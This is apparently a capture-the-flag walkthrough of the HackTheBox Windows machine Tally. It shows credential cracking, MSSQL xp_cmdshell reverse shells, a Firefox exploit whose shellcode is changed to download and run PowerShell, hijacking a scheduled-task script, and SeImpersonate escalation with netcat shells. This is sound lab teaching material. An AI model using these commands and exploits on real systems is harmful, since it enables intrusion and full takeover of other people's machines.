Tally is a difficult Windows Machine from Egre55, who likes to make boxes with multiple paths for each step. The box starts with a lot of enumeration, starting with a SharePoint instance that leaks creds for FTP. With FTP access, there are two paths to root. First there’s a KeePass db with creds for SMB, which has a binary with creds for MSSQL, and I can use MSSQL access to run commands and get a shell. Alternatively, I can spot a Firefox installer and a note saying that certain HTML pages on the FTP server will be visited regularly, and craft a malicious page to exploit that browser. To escalate, there’s a scheduled task running a writable PowerShell script as administrator. There’s also SeImpersonate privilege in a shell gained via MSSQL, which can be leveraged to get root as well. Finally, I’ll show a local Windows exploit that was common at the time of the box release, CVE-2017-0213.

Box Info

Name Tally Tally
Play on HackTheBox
Release Date 04 Nov 2017
Retire Date 5 May 2018
OS Windows Windows
Base Points Hard [40]
Rated Difficulty Rated difficulty for Tally
Radar Graph Radar chart for Tally
First Blood User 21:09:43tress
First Blood Root 1 days 15:36:40decoder
Creator egre55



nmap finds 21 open TCP ports:

oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-09 10:54 UTC
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.090s latency).
Not shown: 65469 closed ports, 45 filtered ports
21/tcp    open  ftp
80/tcp    open  http
81/tcp    open  hosts2-ns
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
808/tcp   open  ccproxy-http
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
15567/tcp open  unknown
32843/tcp open  unknown
32844/tcp open  unknown
32846/tcp open  unknown
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds
oxdf@hacky$ nmap -p 21,80,81,135,139,445,808,1433,5985,15567,32843,32844,32846,47001,49664-49670 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-09 11:02 UTC
Nmap scan report for
Host is up (0.090s latency).

21/tcp    open  ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http               Microsoft IIS httpd 10.0
|_http-generator: Microsoft SharePoint
|_http-server-header: Microsoft-IIS/10.0
| http-title: Home
|_Requested resource was
81/tcp    open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Bad Request
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
808/tcp   open  ccproxy-http?
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-04-09T10:46:05
|_Not valid after:  2052-04-09T10:46:05
|_ssl-date: 2022-04-09T11:03:41+00:00; 0s from scanner time.
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
15567/tcp open  http               Microsoft IIS httpd 10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
| http-ntlm-info: 
|   Target_Name: TALLY
|   NetBIOS_Domain_Name: TALLY
|   NetBIOS_Computer_Name: TALLY
|   DNS_Domain_Name: TALLY
|   DNS_Computer_Name: TALLY
|_  Product_Version: 10.0.14393
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
32843/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
32844/tcp open  ssl/http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
| ssl-cert: Subject: commonName=SharePoint Services/organizationName=Microsoft/countryName=US
| Subject Alternative Name: DNS:localhost, DNS:tally
| Not valid before: 2017-09-17T22:51:16
|_Not valid after:  9999-01-01T00:00:00
|_ssl-date: 2022-04-09T11:03:41+00:00; 0s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
32846/tcp open  storagecraft-image StorageCraft Image Manager
47001/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc              Microsoft Windows RPC
49665/tcp open  msrpc              Microsoft Windows RPC
49666/tcp open  msrpc              Microsoft Windows RPC
49667/tcp open  msrpc              Microsoft Windows RPC
49668/tcp open  msrpc              Microsoft Windows RPC
49669/tcp open  msrpc              Microsoft Windows RPC
49670/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-04-09T11:03:31
|_  start_date: 2022-04-09T10:45:44

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.92 seconds

The box is clearly a Windows host, and based on the IIS version, the host is likely running Windows 10 or Server 2016 (it’s not going to be 2019 since this box was released in 2017).

When I Google “Windows TCP 32843”, the first link is this post about TCP ports used by SharePoint. It included 808, 32843, 32844, and 32864 as services in use for SharePoint, and this is a pretty good indication of what may be to come.

With this many ports, I’ll make a list of what I want to investigate. First, I need to dig right into:

  • HTTP using IIS on 80, which nmap identified as SharePoint.

There’s a bunch of services that I’ll need creds to connect to (I’ll do a quick check for each to confirm that):

  • FTP on 21 - nmap didn’t call out anonymous login, and I confirmed it. Will check back with creds.
  • HTTP using IIS on 15567 - Visiting just prompts for HTTP basic auth, and I don’t have creds.
  • SMB/RPC/NetBios on 135/139/445 - Trying to connect with smbclient -N -L // returns NT_STATUS_ACCESS_DENIED. Will have to check back if I find creds.
  • MSSQL on 1433 - Need creds to authenticate to the DB.
  • WinRM on 5985 - Not much I can do without creds, but with creds, worth a try to get a shell.

Then there’s other ports I basically ignore for now:

  • 81 - Some kind of service HTTP, but querying it just returns Bad- Request.
  • 808, 32843, 32844, 32846 - All support SharePoint based on the link above.
  • 47001 - Support for WinRM
  • 49664-49670 - RPC ports

Website - TCP 80


Visiting redirects to a SharePoint home page:


SharePoint likes being accessed by hostname, and nmap did find the hostname tally. I’ll add that to my /etc/hosts file: tally

Loading http://tally seems to load the same page.

There’s not much I can do here. Some Googling for “pentesting Sharepoint” finds this article from BishopFox. Looking at my notes from originally solving in 2018, I actually used the Perl script in that article to brute force paths. This time, I just used the paths it listed in the article to manually find some things. Some (like aclinv.aspx require auth), but _layouts/viewlsts.aspx does return something:


The “Documents” section seems to have one item, and clicking shows it’s interesting:


Clicking on ftp-details downloads a .docx file, which has creds:


It doesn’t give me any usernames, just passwords.

The “Site Pages” link indicates on item as well. Visiting this with a base of the IP will actually just redirect to the home page. But using tally, it will show the pages:


When I originally solved this, I found this page by looking at the mobile version of the site (using a mobile User Agent string). Either way, looking at the page, it gives some usernames:


There’s sarah, tim, and rahul, but also ftp_user.

Tech Stack

The HTTP headers show X-Powered-By: ASP.NET, which matches the .aspx extension I’ve noticed on the pages. Other than that, not much I can gleem.

Directory Brute Force

I’ll start to feroxbuster against the site with -x aspx since I’ve already seen that, but it’s very slow, and throws a lot of errors. I can come back and try more if I get stuck, but I’ll abandon that for now.

FTP - TCP 21


The password from the file doesn’t work with tim, sarah, or rahul, but it does work for ftp_user:

oxdf@hacky$ ftp
Connected to
220 Microsoft FTP Service
Name ( ftp_user
331 Password required
230 User logged in.
Remote system type is Windows_NT.

There are five directories at the system root:

ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-31-17  11:51PM       <DIR>          From-Custodian
10-01-17  11:37PM       <DIR>          Intranet
08-28-17  06:56PM       <DIR>          Logs
09-15-17  09:30PM       <DIR>          To-Upload
09-17-17  09:27PM       <DIR>          User
226 Transfer complete.

Given the large number of small looking files, I’ll just download everything using wget:

oxdf@hacky$ wget -r 'ftp://ftp_user:UTDRSCH53c"$6hys@'
Total wall clock time: 2m 50s
Downloaded: 125 files, 98M in 1m 43s (972 KB/s)

This will create a directory named and populate it with the contents of the FTP server.


From-Custodian has a bunch of .log files and Logs has a bunch of .txt files that don’t seem very interesting.

Intranet/Binaries has an installer for Firefox, Firefox Setup 44.0.2.exe. That’s worth noting for a version number of Firefox that’s likely installed on Tally.

To-Upload has an employees.xlsx that contains 179 users, with first, last, and id. There’s also an Invoiced.zip, but it doesn’t have anything interesting.

User has a bunch of users:

oxdf@hacky$ ls
Administrator  Ekta  Jess  Paul  Rahul  Sarah  Stuart  Tim  Yenwi

I’ll use find with -type f to get a list of all the files in User:

oxdf@hacky$ find . -type f
./Tim/Project/Log/do to.txt
./Stuart/customers - Copy.csv

Two things jump out as the most interesting things:

  • Tim has a KeePass database, tim.kdbx.
  • Sarah has a notes.txt.

The notes.txt references removing Orchard CMS, and the need to uninstall SQL Server 2016.

KeePass DB

Crack Master Password

To get into a KeePass database, I’ll need the master password. I’ll use the john script keepass2john to get a hash of that password that I can attempt to break with hashcat (or john, I just prefer hashcat):

oxdf@hacky$ keepass2john 
oxdf@hacky$ keepass2john > tim.kdbx.hash

I’ll start hashcat running against the hash with rockyou.txt as the wordlist. The new version of hashcat doesn’t require me to identify the hash format, but rather finds it for me:

$ /opt/hashcat-6.2.5/hashcat.bin tim.kdbx.hash --user /usr/share/wordlists/rockyou.txt 
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager

It finds the password in less than 10 seconds, “simplementeyo”.

Extract Creds

I’ll use kpcli to read the database. On connecting, it asks for the password:

oxdf@hacky$ kpcli --kdb tim.kdbx                                                                         
Please provide the master password: *************************
KeePass CLI (kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

A quick way to list all the password in the database is the find command:

kpcli:/> find .
Searching for "." ...
 - 3 matches found and placed into /_found/
Would you like to list them now? [y/N] 
=== Entries ===             
0. Default                                                                 
1. PDF Writer                                                              
2. TALLY ACCT share

Now show -f [number] will give details on that number (without the -f the password will be hidden):

kpcli:/> show -f 0

Title: Default
Uname: cisco
 Pass: cisco123

kpcli:/> show -f 1

Title: PDF Writer
Uname: 64257-56525-54257-54734

kpcli:/> show -f 2

 Path: /WORK/WINDOWS/Shares/
Title: TALLY ACCT share
Uname: Finance
 Pass: Acc0unting

The two sets of creds I’ll take away are “cisco”/”cisco123” and “Finance”/”Acc0unting”. The latter says it’s for a share on Tally. I won’t find anywhere where the cisco password is useful.

SMB - TCP 445

Validate Creds

crackmapexec shows those creds work for SMB on Tally:

oxdf@hacky$ crackmapexec smb -u Finance -p Acc0unting
SMB     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB     445    TALLY            [+] TALLY\Finance:Acc0unting 

Adding the --shares options shows there is an ACCT share, and that these creds can read from it:

oxdf@hacky$ crackmapexec smb -u Finance -p Acc0unting --shares
SMB     445    TALLY            [*] Windows Server 2016 Standard 14393 x64 (name:TALLY) (domain:TALLY) (signing:False) (SMBv1:True)
SMB     445    TALLY            [+] TALLY\Finance:Acc0unting 
SMB     445    TALLY            [+] Enumerated shares
SMB     445    TALLY            Share           Permissions     Remark
SMB     445    TALLY            -----           -----------     ------
SMB     445    TALLY            ACCT            READ            
SMB     445    TALLY            ADMIN$                          Remote Admin
SMB     445    TALLY            C$                              Default share
SMB     445    TALLY            IPC$                            Remote IPC

Download All - Fail

I’ll connect to it and see that it has a fair number of folders:

oxdf@hacky$ smbclient // -U Finance Acc0unting
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Sep 18 05:58:18 2017
  ..                                  D        0  Mon Sep 18 05:58:18 2017
  Customers                           D        0  Sun Sep 17 20:28:40 2017
  Fees                                D        0  Mon Aug 28 21:20:52 2017
  Invoices                            D        0  Mon Aug 28 21:18:19 2017
  Jess                                D        0  Sun Sep 17 20:41:29 2017
  Payroll                             D        0  Mon Aug 28 21:13:32 2017
  Reports                             D        0  Fri Sep  1 20:50:11 2017
  Tax                                 D        0  Sun Sep 17 20:45:47 2017
  Transactions                        D        0  Wed Sep 13 19:57:44 2017
  zz_Archived                         D        0  Fri Sep 15 20:29:35 2017
  zz_Migration                        D        0  Sun Sep 17 20:49:13 2017

                8387839 blocks of size 4096. 656891 blocks available

I’ll start with a similar approach as with FTP and get everything. lcd changes directory on my local system. Then I’ll turn off prompt and enable recursion. Finally mget * will get everything:

smb: \> lcd smbloot/
smb: \> prompt off
smb: \> recurse on
smb: \> mget *

However, after a few minutes, I’ll realize this is not a good approach. There’s a ton of junk on this share. I’m going to need to take a bit more targeted approach.

Mount Share

I’ll use mount to mount the share onto a folder on my local system:

oxdf@hacky$ sudo mount -t cifs -o user=Finance,pass=Acc0unting // /mnt
oxdf@hacky$ ls /mnt
Customers  Fees  Invoices  Jess  Payroll  Reports  Tax  Transactions  zz_Archived  zz_Migration


Now I’ll more easily look through the file share. There’s still a ton here, a lot of which are just junk files. There’s no good way to show all the things that turned out to be nothing. I will note the zz_Archived/SQL folder, which has a file named conn-info:

old server details

db: sa
pass: YE%TJC%&HYbe5Nw

have changed for tally

I’ll try these creds for MSSQL, but as it says in the note, someone must have changed them for Tally.

Eventually I’ll find zz_Migrations/Binaries. There’s a bunch of useless .cap files, which I’ll remove from this listing:

oxdf@hacky$ find . -type f | grep -v cap$
./New folder/crystal_reports_viewer_2016_sp04_51051980.zip
./New folder/Macabacus2016.exe
./New folder/Orchard.Web.1.7.3.zip
./New folder/putty.exe
./New folder/RpprtSetup.exe
./New folder/tableau-desktop-32bit-10-3-2.exe
./New folder/tester.exe
./New folder/vcredist_x64.exe
./Tally.ERP 9 Release 6/capsules/tally.cif
./Tally.ERP 9 Release 6/capsules/tally.dif
./Tally.ERP 9 Release 6/regodbc32.exe
./Tally.ERP 9 Release 6/Setup.exe
./Tally.ERP 9 Release 6/tally.exe
./Tally.ERP 9 Release 6/tally.ini
./Tally.ERP 9 Release 6/Tally.sav
./Tally.ERP 9 Release 6/tallygatewayserver.exe
./Tally.ERP 9 Release 6/tallywin.dat
./Tally.ERP 9 Release 6/tallywin32.dat
./Tally.ERP 9 Release 6/tdlfunc.log

The thing that jumps out quickly here is tester.exe, because it’s the only thing in here that doesn’t look like a known piece of commercial software.

Looking at the strings in tester.exe (strings -n 10 tester.exe | less), there’s one towards the top that is very interesting:

oxdf@hacky$ strings -n 10 tester.exe
!This program cannot be run in DOS mode.
PP9E u:PPVWP                  
select * from Orchard_Users_UserPartRecord
Unknown exception
bad locale name
iostream stream error

There’s a connection string for SQL server:


Paths Overview

There’s at least two ways to get a shell as sarah, and at least three ways to get from sarah to full access (Administrator or SYSTEM). I’m sure there are many more local privesc exploits that have been released since this box was retired in 2018, but I’m going to focus on what was known when this box was active.

I’ll show two ways to get a foothold as sarah. If I use MSSQL, the sarah will also have SeImpersonate, which allows a way to SYSTEM. From either foothold, there’s CVE-2017-0213 and a scheduled task that can be abused. The numbers at the top right of each box will match the paths in the headers in this blog.

Shell as sarah [MSSQL - path 1]

Connect to MSSQL

To connect to MSSQL, I’ll use mssqlclient.py (part of the Impacket package), but it errors out:

oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[-] [('SSL routines', 'state_machine', 'internal error')]

Some Googling for the error landed me on this GitHub issue. This post says they fixed it by changing two lines in tds.py.

In general, it’s not great to mess with installed Python packages, but this is such a small change, I’m going to give it a go. To find where tds.py is located, I’ll run again with -debug:

oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@ -debug
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[*] Encryption required, switching to TLS
[+] Exception:
Traceback (most recent call last):
  File "/usr/local/bin/mssqlclient.py", line 175, in <module>
    res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
  File "/usr/local/lib/python3.8/dist-packages/impacket/tds.py", line 920, in login
  File "/usr/local/lib/python3.8/dist-packages/OpenSSL/SSL.py", line 1894, in do_handshake
    self._raise_ssl_error(self._ssl, result)
  File "/usr/local/lib/python3.8/dist-packages/OpenSSL/SSL.py", line 1632, in _raise_ssl_error
  File "/usr/local/lib/python3.8/dist-packages/OpenSSL/_util.py", line 57, in exception_from_error_queue
    raise exception_type(errors)
OpenSSL.SSL.Error: [('SSL routines', 'state_machine', 'internal error')]
[-] [('SSL routines', 'state_machine', 'internal error')]

The first line after the version shows the install location, /usr/local/lib/python3.8/dist-packages/impacket. Inside that dir, I’ll find tds.py. I’ll make those two changes, adding “_2” in two places, and then run again, and it works:

oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@ 
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(TALLY): Line 1: Changed database context to 'master'.
[*] INFO(TALLY): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (130 665) 
[!] Press help for extra shell commands


Before I look through the DB, I’ll try to run commands. mssqlclient.py has commands built in to interact with the xp_cmdshell stored procedure:

SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd

I’ll give it a try, but it fails:

SQL> xp_cmdshell whoami
[-] ERROR(TALLY): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

It says access is blocked. Since I’m running as the sa account, I should be able to just enabled it. It works:

SQL> enable_xp_cmdshell
[*] INFO(TALLY): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(TALLY): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami

dir shows I’m running out of system32:

SQL> xp_cmdshell dir                                                
 Volume in drive C has no label.
 Volume Serial Number is 8EB3-6DCB
 Directory of C:\Windows\system32


I’ll visit revshells.com and update it with my IP and port. I’ll filter by windows and select PowerShell #3 (Base64). I like the base64 one because I don’t have to worry about bad characters in the MSSQL command line.


I’ll use the rlwrap listener to get up and down arrows on my soon to be shell, and start that on my VM. Then I’ll copy the shell, and paste it into the MSSQL prompt:


It hangs, and there’s a connection at nc:

oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 443
Listening on 443
Connection received on 52464
PS C:\Windows\system32> 

Once I run my first command, it returns the result and then prints the prompt.

On sarah’s desktop, I’ll find user.txt:

PS C:\users\sarah\desktop> type user.txt

Shell as sarah [Firefox - path 2]

Identify Firefox Exploit

Firefox Enumeration Data

There’s a couple clues from above that suggest a Firefox exploit might work. On the Finance Team Migration update page in SharePoint, Sarah and Tim say to Rahul:

Rahul - please upload the design mock ups to the Intranet folder as ‘index.html’ using the ftp_user account - I aim to review regularly.

This implies that I can get a HTML page in front of Sarah or Tim.

During the FTP enumeration, I also found Firefox Setup 44.0.2.exe, which is a good hint as to what version of Firefox is running.

Test Connection

To see if I can actually get a user on Tally to open index.html, I’ll create a quick on that just redirects to my server. If this works, then later I can start working on my exploit without having to FTP it to Tally each time. This simple page uses JavaScript to redirect:

    <script>location.href = ""</script>

I’ll upload that, and start nc listening on 80 to see the full incoming request. After less than a minute, there’s a connection:

oxdf@hacky$ nc -lnvkp 80
Listening on 80
Connection received on 58765
GET /sploit.html HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

The User-Agent header ends with “Firefox/44.0”. useragentstring.com will give even more detail:


Search Sploit

Using searchploit to look for Firefox exploits returns a ton, but one jumps off a close to this version:

oxdf@hacky$ searchsploit "firefox 4"                         
-------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                      |  Path                 
-------------------------------------------------------------------- ---------------------------------
Mozilla Firefox < 45.0 - 'nsHtml5TreeBuilder' Use-After-Free (EMET  | windows/remote/42484.html

I’ll grab a copy:

oxdf@hacky$ searchsploit -m windows/remote/42484.html
  Exploit: Mozilla Firefox < 45.0 - 'nsHtml5TreeBuilder' Use-After-Free (EMET 5.52 Bypass)
      URL: https://www.exploit-db.com/exploits/42484
     Path: /opt/exploitdb/exploits/windows/remote/42484.html
File Type: HTML document, ASCII text

Copied to: /home/oxdf/hackthebox/tally-

It’s an HTML page, with the title CVE-2016-1960.

Customize Exploit

Identify Shellcode

Opening the script, towards the top, there’s a variable named shellcode:


After a push 0 and before push 1, there’s a place where the string calc.exe is pushed onto the stack. Because of how the stack works, it’s pushing four bytes at a time, reading from the end of the string.

New Payload

Instead of calc.exe, I’ll run powershell -c iex(iwr('')). I can use Python to quickly format that into what I need for the HTML page.

>>> payload = "powershell -c iex(iwr(''))"
>>> for i in range(len(payload)-4, -1, -4):
...     print(payload[i:i+4])
c ie
ll -

If my payload is not of length divisible by four, it won’t print the beginning here. The simplest thing to do would be to adjust the payload to be divisible by four, but you could also mess with the Python.

Now I want each of these to be hex, starting with a \x68, the op code for push, and add quotes, commas, etc.

>>> for i in range(len(payload)-4, -1, -4):
...     print('    "\\x68' + ''.join([f'{ord(c):02x}' for c in payload[i:i+4]]) + '",')

I’ll replace the two calc.exe lines in the HTML file with these.


I can’t use an encoded PowerShell (iex won’t run powershell -e), but since #3 has been working, I’ll grab that version from revshells.com, and and remove PowerShell calling it and the PowerShell arguments, leaving just have the payload in 0xdf.ps1.

Now I wait for sarah to open firefox and view index.html, which redirects to sploit.html: - - [10/Apr/2022 18:49:33] "GET /sploit.html HTTP/1.1" 200 -

After some failed attempts to get favicon.ico, there’s a string of redirections to various continue=# parameters on sploit.html, about one per second for about a minute: - - [10/Apr/2022 18:49:35] "GET /sploit.html?continue=77571776 HTTP/1.1" 200 - - - [10/Apr/2022 18:49:35] "GET /sploit.html?continue=143632064 HTTP/1.1" 200 - - - [10/Apr/2022 18:49:37] "GET /sploit.html?continue=209692352 HTTP/1.1" 200 - - - [10/Apr/2022 18:49:38] "GET /sploit.html?continue=275752640 HTTP/1.1" 200 - - - [10/Apr/2022 18:49:39] "GET /sploit.html?continue=341812928 HTTP/1.1" 200 -
...[snip]... - - [10/Apr/2022 18:50:31] "GET /sploit.html?continue=77575904 HTTP/1.1" 200 - - - [10/Apr/2022 18:50:33] "GET /sploit.html?continue=143636192 HTTP/1.1" 200 - - - [10/Apr/2022 18:50:34] "GET /sploit.html?style=192919264 HTTP/1.1" 200 -

At the end, there’s a GET on sploit.html?style=#, and then it hangs for about 15 seconds. Then it gets 0xdf.ps1: - - [10/Apr/2022 18:50:49] "GET /0xdf.ps1 HTTP/1.1" 200 - 

After that, there’s a connection at nc:

oxdf@hacky$ sudo rlwrap -cAr nc -lvnp 445
Listening on 445
Connection received on 59874
SHELL> whoami

Shell as Administrator [Task - path 1]


On the desktop there’s a bunch of other files:

PS C:\users\sarah\desktop> ls

    Directory: C:\users\sarah\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---       01/10/2017     22:32            916 browser.bat
-a----       17/09/2017     21:50            845 FTP.lnk
-a----       23/09/2017     21:11            297 note to tim (draft).txt
-a----       19/10/2017     21:49          17152 SPBestWarmUp.ps1
-a----       19/10/2017     22:48          11010 SPBestWarmUp.xml
-a----       17/09/2017     21:48           1914 SQLCMD.lnk
-a----       21/09/2017     00:46            129 todo.txt
-ar---       09/04/2022     11:46             34 user.txt
-a----       17/09/2017     21:49            936 zz_Migration.lnk  

For this part, I’m interested in SPBestWarmUp.ps1 and SPBestWarmUp.xml. The former is a PowerShell script, which I believe is actually an older version of this. It’s designed to help with caching on a Windows IIS server. But the contents don’t really matter

SPBestWarmUp.xml is an exported scheduled task:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">

At the top it defines the trigger, which is every hour each day starting at 0100. This is a really slow cron for HTB, but maybe it could still be interesting. There’s also triggers based on event logs that indicate the server ran out of memory.

Going down a bit, it is set to run as Administrator:

    <Principal id="Author">

At the very bottom, it shows it runs the PowerShell script:

  <Actions Context="Author">
      <Arguments>-ExecutionPolicy Bypass -File SPBestWarmUp.ps1 -skipadmincheck</Arguments

Also, sarah has full control over this file:

PS C:\users\sarah\desktop> icacls SPBestWarmUp.ps1

Successfully processed 1 files; Failed processing 0 files

Reverse Shell

I’ll generate another shell (this time on 444), and (after creating a backup), replace SPBestWarmUp.ps1 with the shell:

PS C:\users\sarah\desktop> copy SPBestWarmUp.ps1 SPBestWarmUp.ps1.bak

When the hour rolls over, it generates a shell:

oxdf@hacky$ nc -lnvp 444
Listening on 444
Connection received on 52566
PS C:\Users\Sarah\Desktop>

I can grab root.txt:

PS C:\users\administrator\desktop> type root.txt

Shell as SYSTEM [SeImpersonate - path 2]


sarah is running MSSQL, and on Windows, it’s very common for services to run as a user with the SeImpersonatePrivilege. If I get a shell via MSSQL, sarah has this privilege:

PS C:\users\sarah\desktop> whoami /priv


Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Interestingly, if I get this shell via the FireFox exploit, sarah has many fewer privileges:

SHELL> whoami /priv


Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

When I originally solved this in 2018, I used RottenPotato. Since then, as Windows blocked various methods for exploiting SeImpersonate, the exploit has evolved and improved, to RottenPotatoNG, LonelyPotato, JuicyPotato, and RoguePotato, as well as exploits like PrintSpoofer and RogueWinRM.


For this time, I’ll show SweetPotato, which is a single tool with a bunch of different SeImpersonate exploits built in.

I’ll upload it to Tally using the shell gained via MSSQL:

PS C:\programdata> iwr -outfile sp.exe
PS C:\programdata> iwr -outfile nc64.exe

I’ll also upload nc64.exe. I’ll start with all the defaults, giving it just a program to run -p and arguments for that program -a, generating a reverse shell via nc64.exe:

PS C:\programdata> .\sp.exe -p "\programdata\nc64.exe" -a "-e powershell 446"
SweetPotato by @_EthicalChaos_
  Original RottenPotato code and exploit by @foxglovesec
  Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery
  PrintSpoofer discovery and original exploit by @itm4n
  EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam
[+] Attempting NP impersonation using method PrintSpoofer to launch \programdata\nc64.exe
[+] Triggering notification on evil PIPE \\TALLY/pipe/21e828a2-6bdd-4a23-9b7b-d03d423949a7
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
PS C:\programdata> .\sp.exe

It returns a shell as SYSTEM:

oxdf@hacky$ nc -lnvp 446
Listening on 446
Connection received on 60044
Windows PowerShell 
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system

Shell as SYSTEM [CVE - path 3]


Identify Patch Level and CVE

Running systeminfo on the host will give lots of information, including what Hotfixs have been applied:

PS C:\programdata> systeminfo

Host Name:                 TALLY
OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00376-30726-67778-AA877
Original Install Date:     28/08/2017, 15:43:34
